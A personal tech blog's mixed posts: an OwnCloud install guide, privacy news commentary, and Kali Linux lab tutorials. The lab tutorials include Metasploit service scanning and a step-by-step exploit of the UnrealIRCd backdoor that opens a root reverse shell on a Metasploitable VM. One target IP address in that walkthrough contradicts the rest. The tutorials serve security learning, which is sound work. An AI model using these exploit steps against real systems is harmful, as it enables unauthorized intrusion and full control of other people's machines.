OwnCloud Installation : Ubuntu 14.04 LTS

1.     OwnCloud is a suite of client-server software for creating file hosting services and using them. For those who have been traditionally hooked to the pirated copies of Windows Server Softwares or used to crashing regulars of MS Server 2008 or even 2012 and later,I would rate this suite much better w.r.t simplicity of installation,less of configuration issues and the best part being open-source with lots of options for the user.I got introduced to it via a friend Nagraj and have been percolating in my circle since.

2.     OwnCloud is functionally very similar to the widely used Dropbox, with the primary functional difference being that OwnCloud is free and open-source, and thereby allowing anyone to install and operate it without charge on a private server, with no limits on storage space (except for disk capacity or account quota) or the number of connected clients.This post will give a stepped screenshot for installing the same on a Ubuntu 14.04 LTS version machine.

3.    The installation ahead has been done in a Virtual environment(I used Virtual Box) with the following setup :

First Virtual Machine : Ubuntu 14.04 LTS 64 bit with 2 GB RAM.This machine will be installed with the Owncloud server part.

Second Virtual Machine : Windows 7/32 bit 2 GB .This machine will be used as the client part who will be able to access the own cloud via web interface.

Installation

Firstly , the ethernet settings that come default to a new machine in UBUNTU are seen below.We will configure this later during installation.

 As we see localhost which currently has been not configured,we see the following screen :

 So,the first step is to visit link at https://software.opensuse.org/download.html?project=isv:ownCloud:community&package=owncloud

 Look for the mention of xUbuntu 14.04 as below :

 Go to Terminal and type :

sudo sh -c "echo 'deb http://download.opensuse.org/repositories/isv:/ownCloud:/community/xUbuntu_14.04/ /' >> /etc/apt/sources.list.d/owncloud.list"

 sudo apt-get update

wget http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_14.04/Release.key

 sudo apt-key add - < Release.key

 sudo apt-get install owncloud

 ...as it fetches,the screen keeps showing you thousands of lines of terminal commands being executed as below :

 the screen prompts for a root user sql password as below :

 continues installation part...

 and finally the screen scroll gets over with the installation and is seen like this :

Check the local host and u get this screen showing the Apache2 Ubuntu default page.

 and then you type at the web address : localhost/owncloud and you get the screen as below :

 Click storage and database link below the login

 Enter the sql root user and password as set earlier and click Finish setup and you get the successful login interface of admin as below :

 Meanwhile lets configure the network settings as below in the Ubuntu machine :

 The windows client networking addresses are configured as below :

 The network addresses for the Ubuntu machine are configured as below :

 Now from the client web browser ,try and access the server by typing the IP address/owncloud and you will likely get the following screen.

To resolve the issue we need to add this IP address in the trusted domain in the config.php file as seen below.The location of this config.php file is at /var/www/owncloud/config

 and you refresh the windows browser and you ready to go....

For any clarifications whilst installation you are free to comment here...reply assured asap. :-)

Computer Hacking is LEGAL @ GCHQ

1.  Privacy International , a UK-based registered charity that defends and promotes the right to privacy across the world, lost a case challenging RIGHT TO PRIVACY.

 

So as it stands the GCHQ now has a official tick to itself forcing into hacking devices to obtain intelligence thereby ensuring National Security interests.The court ruled in favor of GCHQ and thus for the first time the GCHQ has confirmed that it has been associated with hacking into IT and computer devices which till date were only thought in anticipation or were believed right based on the NSA whistle blower Edward Snowden.

2.   An extract produced as follows from http://www.bbc.com/news/uk-politics-35558349

"Hackers can remotely activate cameras and microphones on devices, without the owner's knowledge, log keystrokes, install malware, copy documents and track locations among other things"

3.   Another extract produced below from the Investigatory  Powers Tribunal (IPT) complete copy of which is available for reading at http://www.ipt-uk.com/docs/Privacy_Greennet_and_Sec_of_State%20.pdf reads as follows :

 

"The use of computer network exploitation by GCHQ, now avowed, has obviously raised a number of serious questions, which we have done our best to resolve in this Judgment. Plainly it again emphasises the requirement for a balance to be drawn between the urgent need of the Intelligence Agencies to safeguard the public and the protection of an individual's privacy and/or freedom of expression."

3.   How much of this stands right or wrong irrespective,but one thing has come out large and clear....there stands no privacy while anyone is on the net...whatever you may do or attempt from your mobile device or the computer,nothing is yours.....

Detecting Firmware Infection : Prelim start@Google's VIRUSTOTAL

1.   The severity in cases where firmware is already infected at the time of first purchase by the user is now being realized over the years. Be it the Dell server case , Seagate firmware case , Equation Group , Proof of Concept for even Macs , NSA revelations by Snowden and the list is pretty long to workout.Over various discussions and forums I read across I could never get any kind of implementing a solution to detect a threat at the firmware level not before I read about about the first such attempt via Google VirusTotal.

2.   Google’s VirusTotal service has come-out with a new tool that analyzes firmware, the low-level code that bridges a computer’s hardware and operating system at startup. The new tool will label firmware images as either legitimate or suspicious. It can also extract certificates attached to firmware and if there are other executable files inside of it. The tool can extract portable executables (PEs) inside firmware since these could sometimes be a source of malicious behavior. 

“These executables are extracted and submitted individually to VirusTotal, such that the user can eventually see a report for each one of them and perhaps get a notion of whether there is something fishy in their BIOS image,” Santos wrote. 

3.   It will now be possible for people to extract their own firmware and submit it to VirusTotal, which has the potential to create a database of various firmware images that could contribute to research into bad ones. 

4.    No details could be fetched across of how it actually works.But happy about there being a kind of first.More options wil arise after this circulates around and we have a secure eco-system of web.

Kali Linux 2 : Putting SCANNERS at work

1.    In this post we get introduced to built in scanners that come preloaded with Metasploit in Kali Linux that let us search and recover service information from a single computer or an entire network.We assume the same setup of virtual machines as in my past post at http://anupriti.blogspot.in/2015/10/irc-exploit-tutorial-to-hack-into-root.html

SETTING UP THE VIRTUAL MACHINES

Exactly the same setup as I followed at the post at http://anupriti.blogspot.in/2015/10/irc-exploit-tutorial-to-hack-into-root.html

Virtual Machine One,VM1  : Kali Linux 2 @ 192.168.56.102

Virtual Machine Two,VM2 : Metasploitable 2 @ 192.168.56.103

Machines pinging each other...please check before proceeding ahead

Using SCANNERS to gain info

To find scanners available in Kali Linux,just run “msfconsole” from Kali command prompt and then type “search scanner” at the prompt as below :

msf > search scanner

U get something like this as seen below which is actually trimmed shot as the complete out is pretty exhaustive.

CLICK TO ENLARGE

nmap the metasploitable machine...as we did earlier and we get this screen as below :

CLICK TO ENLARGE

Let’s focus on Port 22 ie Secure Shell (ssh) and thus search Metasploit for ssh scanners as follows :

SSH

At msf terminals type : search scanner/ssh

Click to ENLARGE

We see from above about six of them and in these there is one looking for version information ie the “auxiliary/scanner/ssh/ssh_version” module.Will use this to find the version info as follows :

- Type, “use auxiliary/scanner/ssh/ssh_version” at the terminal of msf

- Then type “show options”

- set RHOSTS  

- Type “exploit” to run.

From above we see that the victim is running an SSH server and the software version is 

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu

Mysql

But the above comes with a exclamation too...if we run mysql version query,then too we get some result that's different as seen below :

Click to ENLARGE

The scan reveals that MySQL 5.0.51.a-3ubuntu5 is running as seen in the shot above.

telnet

Click to ENLARGE

Highlighted text “Login with msfadmin/msfadmin to get started”, actually gives login credentials on the Telnet page....these kinds of security holes actually exists in the real world..real web at so many web sites....

smb

The above gives the SAAMBA version

IRC Exploit tutorial to hack into ROOT shell : Metasploitable 2 - Kali LInux 2

1.  root is the user name that by default has access to all commands and files on a Linux or other Unix-like operating system. It is also referred to as the root account, root user and the superuser.For the hackers and cyber criminals,getting to root shell is the key to start doing the undesired.There are thousands of ways and options to get to this vide various exploits,tricks and hacks.In this post I give a step by step with screenshot guide to get to "root" of a Metasploitable machine from a Kali Linux machine.The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.This would come handy for beginners in this domain.I have two virtual machines for this test including one Metasploitable and one Kali Linux.

Setting up the Virtual Machines

Firstly,we need to configure the host only adapter settings as shown below in the Virtual box.

Click on Network - Host only networks tab and then "Add host only adapter" as shown below :

Edit the settings of the Host only adapter

Configure the IP address to any range as you desire.I have set up as seen below :

Now I have configured my VM Kali as per the following settings shown :

The Metasploitable machine configured as seen below :

Checking PING between the two machines : 

Playing with the setup : Running tools and exploits

The first thing to do is to run an nmap scan and see what services are running.At the terminal window on your Kali system,type the following :

nmap -sS -Pn

In our the Metasploitable Machine IP is 192.168.56.103.The “-sS” switch in the above command asks nmap to perform a stealth scan. The “-Pn” tells nmap not to run a ping scan to see what systems are up

Running nmap command with the “-A” switch, will perform OS detection and try to determine service versions.Running the command wil give us a screen output something like as shown below : 

nmap -sS -Pn -A 192.168.56.103

There are also a lot of services running as seen above but the one in particular we are interested is an Unreal Internet Relay Chat (IRC) program as highlighted below.In the screenshot below we see the software version, in this case “Unreal IRC 3.2.8.1′′. Our next step is to use Metasploit to exploit the vulnerability.

Get to the Kali terminal and type msfconsole to get this screen as seen below : 

The basic sequence of exploiting a vulnerability goes as shown below :

- Picking an Exploit

- Setting Exploit Options

- Picking a Payload

- Setting Payload Options

- Running the Exploit

- Connecting to the Remote System

Going further now at the msf terminal type : use exploit/unix/irc/unreal_ircd_3281_backdoor

Next we need to set the RHOST as per the following terminal command:

RHOST 192.168.198.145(Metasploitable IP address )

At the msf terminal,type “show payloads” to display all payloads that work with the exploit:

Now we will use the generic reverse shell. This will give us the terminal shell with the target when the exploit is finished.Type the following at the msf terminal:

set payload cmd/unix/reverse

Show options command further will give the current settings as configured :

So we see above LHOST remains to be configured and we configure it now as follows :

Running the show options command again shows the configured setup as desired : 

and now the final bullet...simply type : exploit at the msf terminal

and here you are...right at the terminal@root

Just make a directory for testing it at the victim Metasploitable machine.I have made by the name of anupam and we see the same at the second terminal window seen in the screenshot below :

...that's it guys...any questions...most welcome...

segmentation fault Kali Linux 2.0 [solved]

Kali Linux 2.0,the well known Penetration testing distro contains a plethora for digital forensics tools and is widely used by ethical hacker community across the globe.It comes with over 650 tools pre-installed that help  perform tasks like network analysis, ethical hacking, load & crash testing etc. It is powered by Linux kernel 4.0 and has enhanced support for different graphics cards and desktop environments.However ,a small bug as I noticed running two regular commands as apt-get update and msfupdate. Used to get the segmentation fault error as seen below in the screen shot :

Resolved by running the following commands at terminal to open sources.list  file

root@kali:~# leafpad /etc/apt/sources.list

As the file opens, simply select all the existing content in the file and delete it.Further to it cut and paste the following lines in the file and save :  

# Regular repositories

deb http://http.kali.org/kali sana main non-free contrib

deb http://security.kali.org/kali-security sana/updates main contrib non-free

# Source repositories

deb-src http://http.kali.org/kali sana main non-free contrib

deb-src http://security.kali.org/kali-security sana/updates main contrib non-free

and now it should work just as it worked in my case as seen below :

MY Blog hits : 3,00,000 plus :-)

Exactly about a year back my blog got the 2,00,000th hit and today it is 3,00,000 plus. So I assume an ok traffic since technical blogs do not have the glamorous and mass factor associated....I got into blogging without knowing any thing about traffic and readers and then maintaining a blog when you are working also is at times difficult.This actually means the time you could have spent with your family is being spent on blogging.But then as we say "Purpose is the reason you journey and Passion is the fire that lights your way."...and so has been applicable to me.Simply the passion to study and share IT and experiment with tools and researches has been the force for my energies being put in here.Putting here some past shots and analytics ex Google :
